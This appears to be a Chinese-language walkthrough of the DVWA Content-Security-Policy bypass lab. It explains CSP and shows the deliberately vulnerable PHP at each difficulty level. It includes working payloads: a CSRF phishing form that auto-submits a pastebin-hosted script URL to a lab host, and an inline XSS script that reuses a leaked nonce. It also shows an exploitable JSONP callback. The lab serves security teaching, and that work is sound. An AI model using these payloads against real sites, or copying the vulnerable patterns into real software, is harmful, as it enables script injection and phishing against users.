DVWA
CSP Bypass 绕过浏览器的安全策略
什么是CSP?
CSP即Content-Security-Policy,是指HTTP返回报文头中的标签,浏览器会根据标签中的内容,判断哪些资源可以加载或执行。翻译为中文就是内容安全策略。是为了缓解潜在的跨站脚本问题(XSS),浏览器的扩展程序系统引入了内容安全策略这个概念,原来应对XSS攻击时,主要采用函数过滤、转义输入中的特殊字符、标签、文本来规避攻击。
CSP的实质就是白名单制度,开发人员明确告诉客户端,哪些外部资源可以加载和执行。开发者只需要提供配置,实现和执行全部由浏览器完成。
例如:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
script-src 'self'
:script-src脚本只信任当前域名;
object-src 'none'
:不信任任何URL,即不加载任何资源;
style-src
样式表:只信任 http://cdn.example.org
和 http://third-party.org
;
child-src
:必须使用HTTPS协议加载。这个已从Web标准中删除,新版本浏览器可能不支持;
其他资源:没有限制其他资源。
当启用CSP后,不符合CSP的外部资源会被阻止加载。
为什么要使用CSP呢?
首先,CSP是一种声明机制,允许Web开发者在其应用程序上指定多个安全限制,由支持的用户代理(浏览器)来负责强制执行。CSP旨在“作为开发人员可以使用的工具,以各种方式保护其应用程序,减轻内容注入漏洞的风险和减少应用程序执行的特权”。
一、Low 级别
源代码:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;";
// allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
可以看到被信任的网站有:
https://pastebin.com、example.com、code.jquery.com、https://ssl.google-analytics.com。
抓包,也能观察到返回的报文中CSP的内容:
漏洞利用
- 把恶意代码保存在受信任的网站上,然后把链接发送给需要攻击的用户,用户点击后,达到注入目的。
我们观察到 https://pastebin.com 网站,是一个快速分享文本内容的网站,将js代码放置在该网站,然后注入url地址,成功触发js代码:
- 通过CSRF实现攻击,做一个钓鱼网站,通过发送邮件等方式让用户收到链接后,诱惑点击,用户点击后,则被被攻击。
<form action="http://192.168.40.129/vulnerabilities/csp/" id="csp" method="post">
<input type="text" name="include" value=""/>
</form>
<script>
var form = document.getElementById("csp");
form[0].value="https://pastebin.com/raw/Vm3hrTc4"; form.submit();
</script>
二、Medium 级别
源代码:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
http头信息中的script-src的合法来源发生了变化:
unsafe-inline
:允许使用内联资源,如内联 <script>
元素:javascript:URL,内联事件处理程序(如onclick)和内联 <style>
元素,必须包括单引号。
nonce-source
:仅允许特定的内联脚本块, nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="
所以可以直接输入以下代码:<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
,成功触发js代码:
三、High 级别
这个级别已经没有输入框了,不过题目已经给了足够多的提示:
该页面调用../..//vulnerabilities/csp/source/jsonp.php以加载一些代码。修改该页面以运行您自己的代码。
jsonp.php:
<?php
header("Content-Type: application/json; charset=UTF-8");
if (array_key_exists ("callback", $_GET)) {
$callback = $_GET['callback'];
} else {
return "";
}
$outp = array ("answer" => "15");
echo $callback . "(".json_encode($outp).")";
?>
源代码:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
首先先看一下 CSP 头,发现只有 script-src 'self'
,看来只允许本界面加载的 javascript 执行。
这个点击显示答案的逻辑(逻辑在 source/high.js里),源码:
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
大致流程如下:
- 点击按钮,js 生成一个 script 标签(src 指向 source/jsonp.php?callback=solveNum),并把它加入到 DOM 中;
- js 中定义了一个 solveNum 的函数,因此 script 标签会把远程加载的 solveSum({“answer”:“15”}) 当作 js 代码执行,而这个形式正好就是调用了 solveSum 函数;
- 然后这个函数就会在界面适当的位置写入答案。
四、Impossible 级别
修复了 callback 参数可被控制问题,就没有 url 中的 callback 了,后台写死了。
源代码:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/impossible.js"></script>
';
impossible.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
jsonp_impossible.php
<?php
header("Content-Type: application/json; charset=UTF-8");
$outp = array ("answer" => "15");
echo "solveSum (".json_encode($outp).")";
?>